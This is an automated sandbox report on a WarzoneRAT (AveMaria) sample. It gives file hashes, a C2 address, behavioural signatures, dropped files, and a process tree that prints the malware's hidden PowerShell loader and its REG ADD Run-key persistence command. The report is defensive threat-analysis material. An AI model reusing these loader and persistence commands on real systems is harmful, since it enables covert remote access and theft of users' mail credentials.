Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    17-04-2024 12:53

General

  • Target

    3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe

  • Size

    523KB

  • MD5

    0b37c260284040ee0beb1549da143fb5

  • SHA1

    9ae52f766f75f704a28e4dd4a5fd23ba6cc1548b

  • SHA256

    3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1

  • SHA512

    4433ba8bef7b41b70607d332a005c21472955b7d6caea68be6dfd5fdf0acdcda69fa72a121575997cc26b64db62d444d07dd386eeb2bf0cd75667ec95cf7d3ad

  • SSDEEP

    12288:KbNmJ8L4M58gAzcEHIksyBR3l1iAddpPW7rCMtvXpnh:We8L4MPAzfHBR3lkCcrCWXJh

Malware Config

Extracted

Family

warzonerat

C2

96.9.225.105:61861

Signatures

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • Warzone RAT payload 2 IoCs
  • Loads dropped DLL 6 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe
    "C:\Users\Admin\AppData\Local\Temp\3c6bbdfafb3857e5850e95629d00542fd40df0b0a2ede2d49b204158d3e1cea1.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2592
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden ; $Mins186=Get-Content 'C:\Users\Admin\AppData\Roaming\sep\Shahdoms249\terpers\Buffisternes.Muj';$Citrusfrugtens=$Mins186.SubString(61489,3);.$Citrusfrugtens($Mins186)
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
        3⤵
          PID:2196
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe"
          3⤵
          • Loads dropped DLL
          • Accesses Microsoft Outlook profiles
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          • outlook_win_path
          PID:2860
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Futurisms" /t REG_EXPAND_SZ /d "%Heksemesteren% -windowstyle minimized $Keratotic98=(Get-ItemProperty -Path 'HKCU:\Uforbeholdne\').Glued;%Heksemesteren% ($Keratotic98)"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1096
            • C:\Windows\SysWOW64\reg.exe
              REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Futurisms" /t REG_EXPAND_SZ /d "%Heksemesteren% -windowstyle minimized $Keratotic98=(Get-ItemProperty -Path 'HKCU:\Uforbeholdne\').Glued;%Heksemesteren% ($Keratotic98)"
              5⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:2968

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      5951ba0f3d4d4a56416d7763104d9142

      SHA1

      0d0f21a950a6c56d727e1583cced3e595049e0eb

      SHA256

      ccb24d53293ce40a76c5b199a2db0379de65ab8d3d37a576d2345631e2b75e18

      SHA512

      1743285280a0ef0fab070c090ca8b7ae8b4d311e3931e49489e36036f8a2f2c3349ea2fa2fe3f4a607310df64d9687b2b170cfb7bc45a2f3503d2225af5d50b8

    • C:\Users\Admin\AppData\Local\Temp\Cab8059.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar8178.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\Admin\AppData\Roaming\sep\Shahdoms249\terpers\Buffisternes.Muj

      Filesize

      60KB

      MD5

      536404b62f83ffc1c1ab96b8702ac936

      SHA1

      e3fcddb4a59854532c9628fb842a89e44600d4df

      SHA256

      2257be627271ea9c32361cfcdb142ccb3b807d841dbfc04c08356cd1d8336600

      SHA512

      5e4f55571925250785b7674552960883841caf0ae0949a788d3afaf38494aab49f3838eb2f17a6138f4131ffd9f995a153d1676fc382734fde2b83d43d94663d

    • C:\Users\Admin\AppData\Roaming\sep\Shahdoms249\terpers\Kornsorter.Gua

      Filesize

      290KB

      MD5

      2bb2b71dee5988168849d51f9081b20a

      SHA1

      2f8afd1f790c68a2092cdd4b844e590e504629c5

      SHA256

      535e2da50a80f574eaa47fa9e03aeba1b0c394a69cd998db00f4b7bbd14d29d0

      SHA512

      938486d07a95de438ec40199a603ea4eff5dde90180804d18df701b3974dd1794ab111e29b134a5ad509bd3da75f0cfc0f7e32e6accbf72a75d1955bcc51af49

    • \Users\Admin\AppData\Local\Temp\freebl3.dll

      Filesize

      326KB

      MD5

      ef12ab9d0b231b8f898067b2114b1bc0

      SHA1

      6d90f27b2105945f9bb77039e8b892070a5f9442

      SHA256

      2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

      SHA512

      2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

    • \Users\Admin\AppData\Local\Temp\mozglue.dll

      Filesize

      133KB

      MD5

      75f8cc548cabf0cc800c25047e4d3124

      SHA1

      602676768f9faecd35b48c38a0632781dfbde10c

      SHA256

      fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

      SHA512

      ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

    • \Users\Admin\AppData\Local\Temp\msvcp140.dll

      Filesize

      429KB

      MD5

      109f0f02fd37c84bfc7508d4227d7ed5

      SHA1

      ef7420141bb15ac334d3964082361a460bfdb975

      SHA256

      334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

      SHA512

      46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

    • \Users\Admin\AppData\Local\Temp\nss3.dll

      Filesize

      1.2MB

      MD5

      d7858e8449004e21b01d468e9fd04b82

      SHA1

      9524352071ede21c167e7e4f106e9526dc23ef4e

      SHA256

      78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

      SHA512

      1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

    • \Users\Admin\AppData\Local\Temp\softokn3.dll

      Filesize

      141KB

      MD5

      471c983513694ac3002590345f2be0da

      SHA1

      6612b9af4ff6830fa9b7d4193078434ef72f775b

      SHA256

      bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

      SHA512

      a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

    • \Users\Admin\AppData\Local\Temp\vcruntime140.dll

      Filesize

      81KB

      MD5

      7587bf9cb4147022cd5681b015183046

      SHA1

      f2106306a8f6f0da5afb7fc765cfa0757ad5a628

      SHA256

      c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

      SHA512

      0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

    • memory/1248-58-0x00000000026E0000-0x0000000002720000-memory.dmp

      Filesize

      256KB

    • memory/1248-69-0x00000000776C0000-0x0000000077796000-memory.dmp

      Filesize

      856KB

    • memory/1248-64-0x00000000055A0000-0x00000000055A4000-memory.dmp

      Filesize

      16KB

    • memory/1248-68-0x00000000026E0000-0x0000000002720000-memory.dmp

      Filesize

      256KB

    • memory/1248-60-0x00000000026E0000-0x0000000002720000-memory.dmp

      Filesize

      256KB

    • memory/1248-59-0x0000000073D50000-0x00000000742FB000-memory.dmp

      Filesize

      5.7MB

    • memory/1248-57-0x0000000073D50000-0x00000000742FB000-memory.dmp

      Filesize

      5.7MB

    • memory/1248-67-0x00000000774D0000-0x0000000077679000-memory.dmp

      Filesize

      1.7MB

    • memory/1248-66-0x0000000073D50000-0x00000000742FB000-memory.dmp

      Filesize

      5.7MB

    • memory/1248-65-0x0000000006520000-0x000000000C005000-memory.dmp

      Filesize

      90.9MB

    • memory/2860-72-0x00000000776C0000-0x0000000077796000-memory.dmp

      Filesize

      856KB

    • memory/2860-188-0x0000000024390000-0x0000000024414000-memory.dmp

      Filesize

      528KB

    • memory/2860-180-0x0000000000370000-0x00000000013D2000-memory.dmp

      Filesize

      16.4MB

    • memory/2860-143-0x0000000000370000-0x00000000013D2000-memory.dmp

      Filesize

      16.4MB

    • memory/2860-71-0x00000000776F6000-0x00000000776F7000-memory.dmp

      Filesize

      4KB

    • memory/2860-70-0x00000000774D0000-0x0000000077679000-memory.dmp

      Filesize

      1.7MB

    • memory/2860-207-0x0000000000370000-0x00000000013D2000-memory.dmp

      Filesize

      16.4MB